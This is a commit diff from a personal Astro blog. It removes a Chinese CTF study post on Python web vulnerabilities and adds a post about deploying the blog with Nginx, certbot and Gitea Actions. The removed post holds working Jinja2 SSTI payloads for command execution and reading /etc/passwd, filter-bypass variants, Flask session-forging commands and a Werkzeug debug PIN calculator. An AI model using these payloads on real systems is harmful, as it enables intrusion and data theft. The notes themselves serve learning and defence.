upload something new
All checks were successful
自动构建并部署Astro博客 / build-and-deploy (push) Successful in 44s

This commit is contained in:
2026-04-22 16:58:59 +08:00
parent cf7c859d55
commit 6837a10f47
2 changed files with 157 additions and 226 deletions

View File

@@ -1,246 +1,177 @@
--- ---
title: 'Python 漏洞初阶' title: '部署了人生中第一个博客'
description: 'Here is a sample of some basic python 漏洞' description: 'Astro 博客部署'
pubDate: 'Apr 13 2026' pubDate: 'Apr 22 2026'
heroImage: '../../assets/boy.jpg' heroImage: '../../assets/BladeRunner.png'
--- ---
# SSTI ## 在真正部署前我干了啥😫(可以不看)
## flask框架中的ssti >由于本人急切想实现外网访问且不知为何偏好Apache于是很早之前就把本地项目以下载的形式放在了服务器上而不是git push。且gitea仓库里也是zip文件😫还写了如下文字。千万不要这样。
[flask框架漏洞](https://blog.csdn.net/weixin_44190459/article/details/116774912)
[Python 正则表达式 | 菜鸟教程](https://www.runoob.com/python/python-reg-expressions.html) 1. 把本地的Astro项目打包。根目录里输入
[Python 面向对象 | 菜鸟教程](https://www.runoob.com/python/python-object.html)
>SSTI(Server-Side Template Injection) 服务端模板注入 ,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分渲染可能导致敏感信息泄露、代码执行、GetShell 等。
如何避免:
1. 不要使用`f-string`拼接模板,`render_template_string`,如
`render_template_string(f"Hello {name}")`
安全的写法:`render_template('index.html',name=name)`
2. 只把用户输入当变量传,而不是模板代码;如果必须动态渲染,一定要严格过滤`{{}} {% %} {# #}`
利用方式:
获取到基类 object重点关注 os/file 这些关键字。如`{{("".__class__.__base__.__subclasses__())}}`查看所有子类,再用脚本寻找可以利用的类:
```python
import re
data=r'''[<class 'type'>, <class 'async_generator'>]'''
useful_class=['linecache', 'os._wrap_close', 'subprocess.Popen',
'warnings.catch_warnings', '_frozen_importlib._ModuleLock',
'_frozen_importlib._DummyModuleLock', '_frozen_importlib._ModuleLockManager',
'_frozen_importlib.ModuleSpec']
pattern=re.compile(r"'(.*?)'")
class_list=pattern.findall(data)
for i in class_list:
for j in useful_class:
if j in i:
print(str(class_list.index(i))+":"+i)
```
但是有的题目不会显示subclasses,这是需要我们直接输入小脚本,观察页面回显,如
```python
{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
{%endif%}
{%endfor%}
```
获取到有用的类的下标后,我们可以进行:
#### 命令执行
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__['popen']('ls').read()}}
```
可以先看这个类里面有什么`__globals__.keys()`,这里直接`__globals__['popen']`是因为发现__globals__下面没有os模块如果有可以`__globals__['os'].popen('ls').read()`
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['eval']('__import__('os').popen('ls /').read()')}}
```
有些ctf题`ls`发现没有与flag相关的文件夹flag可能在环境变量`env`里,即`__globals__['popen']('env').read()`
#### 文件读取
```python
{{().__class__.__bases__[0].__subclasses__()[160].__init__.__globals__.__builtins__['open']('1.txt').read()}}
```
发现无法打开.py文件
### 绕过
[linux命令绕过](https://blog.csdn.net/m0_67844671/article/details/133239381)
#### 关键字(空格,点号)过滤
```python
# +号拼接绕过,也用于点过滤
{{ ""['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']() }}
```
```python
# 使用Jinjia2的号拼接
{% set a='__cl' %}{% set b='ass__' %}{% set c='__ba' %}{% set d='se__' %}{{()[a~b][c~d] }}
```
注意拼接时`()`要放在引号外面,`subclasses` 是方法,不是属性。方法必须加 () 调用,不能直接当键名查
```python
# 使用过滤器reverse绕过
{% set a='__ssalc__'|reverse %}{{ ()[a] }}
# 不带空格简洁
{{''['__ssalc__'[::-1]]}}
```
```python
# 使用 join 过滤器绕过,同时可以绕过引号过滤
{% set a=dict(__cl=a,ass__=a)|join %}{{ ()[a] }}
```
#### 符号过滤
```python
# {{和}}被过滤使用{%和%}绕过
{% print(''.__class__) %}
```
`{% %}`定义变量、循环、判断等逻辑操作,不输出
```python
# 中括号过滤,魔术方法__getitem__可代替中括号
.__subclasses__().__getitem__(13).__getitem__('popen')
```
```python
# 过滤点[]
{{()|attr('__class__')|attr('__base__')}}
```
```python
# 下划线被过滤可以使用过滤器输入下划线如使用函数attr()
{{()|attr(request.form.p1)|attr(request.form.p2)}}
# 同时post传参p1=__class__&p2=__base__
#也可以将下划线16进制编码
{{()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']}}
```
```python
# 单双引号被过滤可get/post传参
#get传参 ?p1=popen&p2=cat /flag
{{.__globals__[request.args.p1](request.args.p2).read()}}
```
```python
# 数字被过滤,a=5*5+1=26
{% set a='aaaaa'|length*'aaaaa'|length+'a'|length %}{{().__class_.__base__.__subclasses__()[a]}}
```
获取特殊字符
```python
{% set a=(lipsum|string|list) %}{{a[18]}}
```
![[Pasted image 20260405175857.png]]
### 工具
鸡肋焚靖fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本但咋没用
## flask session
[Python Flask Session漏洞](https://blog.csdn.net/qq_46143339/article/details/155313682)
flask session 存储在客户端cookie中且仅对session进行了签名。
cookie结构
```python
.base64(payload).base64(timestamp).base64(hmac-signature)
```
### 流程示例
1. 找到cookie中的session值用flask-unsign解密,得到类似于`{'is_admin': False}`的形式
```bash ```bash
flask-unsign --decode --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' npm run build
``` ```
2. 找secret_key方法很多看题目 会生成一个`dist`文件夹,即我们的博客成品
- debug=True 2. 将一整个文件夹传到服务器`/var/www/blog`用的apache我这里绕了一点弯路本来打算先将dist.zip传到gitea,再在服务器端下载,后来发现一种更简单的方式
- 在源码/配置文件里找 app.py config.py .env .git可结合任意文件读取 - 安装lrzsz(Linux下命令行文件传输工具实现本地-服务器互传文件,但不能传文件夹,要打包)
- 结合ssti `{{config.SECRET_KEY}}`
- [字典爆破](https://github.com/dw0rsec/rockyou.txt)
```bash ```bash
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2V9' --wordlist rockyou.txt apt install lrzsz -y
cd /var/www/blog
rz #上传文件到服务器,会弹出窗口
sz #下载
``` ```
3. 构造管理员session - 解压
```bash
unzip -o dist.zip -d /var/www/blog/ #-o 覆盖已有文件
```
我还碰到了问题就是它传成了/var/www/blog/dist使用`mv dist/* .`就可以解决了。
3. 配置Apache
```bash ```bash
flask-unsign --sign --secret "weak_key" --cookie "{'is_admin': True}" vim /etc/apache2/sites-available/000-default.conf
#改为 DocumentRoot /var/www/blog
systemctl restart apache2
```
4. 配置HTTPS
用 Certbot 给 Apache 配置免费 Let's Encrypt 证书,一键开启 HTTPS还没有深入理解原理
```bash
apt install certbot python3-certbot-apache -y
certbot --apache -d marvinhers.site
``` ```
### 防御 并且由于之前在服务器docker里装了gitea,本人不知为何想实现自个网站可登gitea,由此配了子域名git.marvinhers.site这会牵扯到后面的反向代理😅
用强随机密钥
把`secret_key`写在**环境变量**或**配置文件**中
生产环境关闭debug
```python
app.config.update(
SECRET_KEY = os.urandom(24), # 必须强随机
SESSION_COOKIE_HTTPONLY = True,
SESSION_COOKIE_SECURE = True, # 强制HTTPS
SESSION_COOKIE_SAMESITE = 'Strict',
)
```
## flask-debug模式的安全隐患
开发环境中设置`app.run(debug=True)`时,它提供了自动重载、详细的错误页面和交互式调试器等便利功能。 ## 浅谈一下部署过程🤯
在`debug`的环境下输入`PIN`码调用`python`的交互式`shell`
> 但需要6个参数呃呃呃 成果🫠:[点击访问虽然没什么内容主页也没写好](https://marvinhers.site/about/) [配了个子域名](https://git.marvinhers.site)
``` >博客用TuF3i推荐的Astro框架nodejs 开发构建代码放在GiteaAct runner 实现cicdweb服务器用的Nginxhttps加了密的。
1. username 运行该Flask程序的用户名 /etc/passwd文件内 ### 配置Nginx
2. modname 模块名 flask.app
3. getattr() app名值为Flask >同为web服务器软件它们都可以让别人通过网址访问服务器上的网站、接口、文件。但nginx轻量占有内存少并发能力强在负载均衡和反向代理领域表现出众处理静态资源也更👍
4. getattr() Flask目录下的一个app.py的绝对路径这个值可以在报错页面看到。但有个需注意Python3是 app.pyPython2中是app.pyc。 报错页面回显(访问报错界面 输入不能识别的参数) str(uuid.getnode())
5. MAC地址读取这两个文件地址/sys/class/net/eth0/address或者/sys/class/net/ens33/address 针对我这个博客,先不管主配置`/etc/nginx/nginx.conf`,因为它有`include /etc/nginx/sites-enabled/*;`所以主要是修改它的子配置
6. get_machine_id() 系统id /etc/machine-id 或者docker环境id /proc/self/cgroup 在`sites-available`下增加了`blog`和`gitea`两个配置文件gitea配的是反向代理虽然这样意义不大但也算是把学的知识运用一下...
```nginx
# 以gitea配置为例
# 仅保留核心80端口 + 子域名 + 反向代理
server {
listen 80;
server_name git.marvinhers.site;
location / {
proxy_pass http://127.0.0.1:3000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
``` ```
因为需要读取文件目录,就要找执行文件读取函数的模块子类,所以会搭配`ssti`注入如获取mac地址 ```bash
```python # 软链接启用配置
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}} ln -s /etc/nginx/sites-available/blog /etc/nginx/sites-enabled/
ln -s /etc/nginx/sites-available/gitea /etc/nginx/sites-enabled/
# 测试配置无误
nginx -t
nginx -s reload
``` ```
```python #后续还要深入学习
import hashlib [Nginx 服务器安装及配置文件详解 | 菜鸟教程](https://www.runoob.com/w3cnote/nginx-install-and-config.html)
from itertools import chain [反向代理](https://mp.weixin.qq.com/s?__biz=MzA5MTkyMTQ0NA==&mid=2247486136&idx=1&sn=fb7ca1c55e681bdb082d3796e9dbbe04&chksm=907447f3a703cee53b7067685c9d710f5f99946c9d09865099647edd061df7ebdbb010bc34fe&scene=178&cur_album_id=3920274935729356806&search_click_id=#rd)
(虽然学长的课还没听完)
probably_public_bits = [ 预留`acme.sh`
'flaskweb' # 1.username 先用certbot简单配一下吧以后使用泛域名证书再改用acme.sh......
'flask.app', # 2.modname 所以后面就简单地...
'Flask', # 3.appname ```bash
'/usr/local/lib/python3.7/site-packages/flask/app.py' # 4.moddir certbot --nginx -d marvinhers.site -d git.marvinhers.site
]
private_bits = [
'130771165565282', # 5.str(uuid.getnode())
'1408f836b0ca514d796cbf8960e45fa1' # 6.machine-id
]
# py<=3.7 是 md5 3.8 以后是 sha1
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
``` ```
这样讲起来怎么只有这么一点,鬼知道我弄了多久。
### 在Gitea上实现CICD
第一节课的时候接触了gitea 的 actions配置了一些东西当时确实挺懵的。
再从头顺一遍吧
#### 开启actions功能
```bash
docker exec -it gitea bash
vim /data/gitea/conf/app.ini
# 添加以下然后退出容器
# [actions]
# ENABLED=true
docker restart gitea
```
#### 开启act runner
Act Runner是一个独立的小程序它从 Gitea 那里领任务(比如“有人推送代码了,去执行 .gitea/workflows/deploy.yml 文件里的命令”),然后在服务器上执行这些命令。
推荐是在docker里运行的这里建议看官方文档是如何注册挂载运行。这里重点讲一下==挂载==
==挂载 volume 是实现 服务器 和 Act Runner容器 之间的文件互通==
```yml
# 这里展示一下 /root/runner/docker-compose.yml
# 关于令牌,建议参考官方文档
services:
runner:
image: gitea/act_runner:nightly
environment:
CONFIG_FILE: /config.yaml
GITEA_INSTANCE_URL: "https://git.marvinhers.site"
GITEA_RUNNER_REGISTRATION_TOKEN: "{Token}"
GITEA_RUNNER_NAME: "marvin-blog-runner"
GITEA_RUNNER_LABELS: "ubuntu-latest,self-hosted"
volumes:
- ./config.yaml:/config.yaml
- ./data:/data
- /var/run/docker.sock:/var/run/docker.sock
- /var/www/blog:/var/www/blog
```
==令牌Token==是一个注册认证绑定runner到你的Gitea实例连接gitea服务器有不同级别可复用可重置。
我是直接用了实例级别的,仓库级别获取好像出了点问题
#后续再了解
```bash
docker exec -u git -it gitea gitea actions generate-runner-token
```
然后`docker compose down` `docker compose up -d` `docker ps` 就能看到在运行了!
#### 终于workflows
##### 讲几个笨得流黄汤的点(没按顺序):
- 同步到服务器
```yml
- name: 同步到服务器
uses: appleboy/scp-action@master
with:
host: ${{ secrets.SERVER_IP }}
username: ${{ secrets.SERVER_USER }}
port: ${{ secrets.SERVER_PORT }}
key: ${{ secrets.SERVER_SSH_KEY }}
source: "dist/"
target: "/var/www/blog/"
overwrite: true
strip_components: 1
# 1.那一大堆变量这些都是和服务器相关的尤其ssh_key是在服务器上生成的我记得我之前填的是在本地生成的。
# 2.source 的值和 strip_components 扯上关系。后者让前者剥离dist目录
```
生成密钥的bash
#后续了解
```bash
cd ~/.ssh
ssh-keygen -t rsa -f id_rsa -N ""
cat id_rsa.pub >> authorized_keys
chmod 600 authorized_keys
chmod 700 ~/.ssh
```
- ==git==相关,与我自个有关。
由于之前笨得流黄汤把zip传到了gitea...
然后还有对git命令还不太熟悉...这没啥好说的,肯定是要掌握的东西。💪
#后续还要深入学习
```bash
# 然后简单触发一下工作流
git add .
git commit -m "fix: some mistakes"
git push -u origin main
```
然后其实是碰上各种各样的问题的,包括一些`.gitignore`的书写导致上传巨慢HTTP 413报错上传的代码包体积超过了 Nginx 上限后在Nignx配置的server块下添加`client_max_body_size 100M;`指令等等啊。
## 浅浅总结
啊确实学到了很多但是我的基础不太行像什么docker,git以及文章中一些标签的地方还要深入学习。
然后其实在部署的时候是一个逆向由深入浅的过程碰到问题--再解决,这很不顺,也很浪费时间,所以还是要打好基础🐷以后多多部署东西熟悉熟悉🐷

View File

@@ -13,7 +13,7 @@ import { SITE_DESCRIPTION, SITE_TITLE } from '../consts';
<body> <body>
<Header /> <Header />
<main> <main>
<h1>Sorry,see me at About to learn more</h1> <h1>太懒主页还没开发</h1>
<p> <p>
Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template Welcome to the official <a href="https://astro.build/">Astro</a> blog starter template. This template
serves as a lightweight, minimally-styled starting point for anyone looking to build a personal serves as a lightweight, minimally-styled starting point for anyone looking to build a personal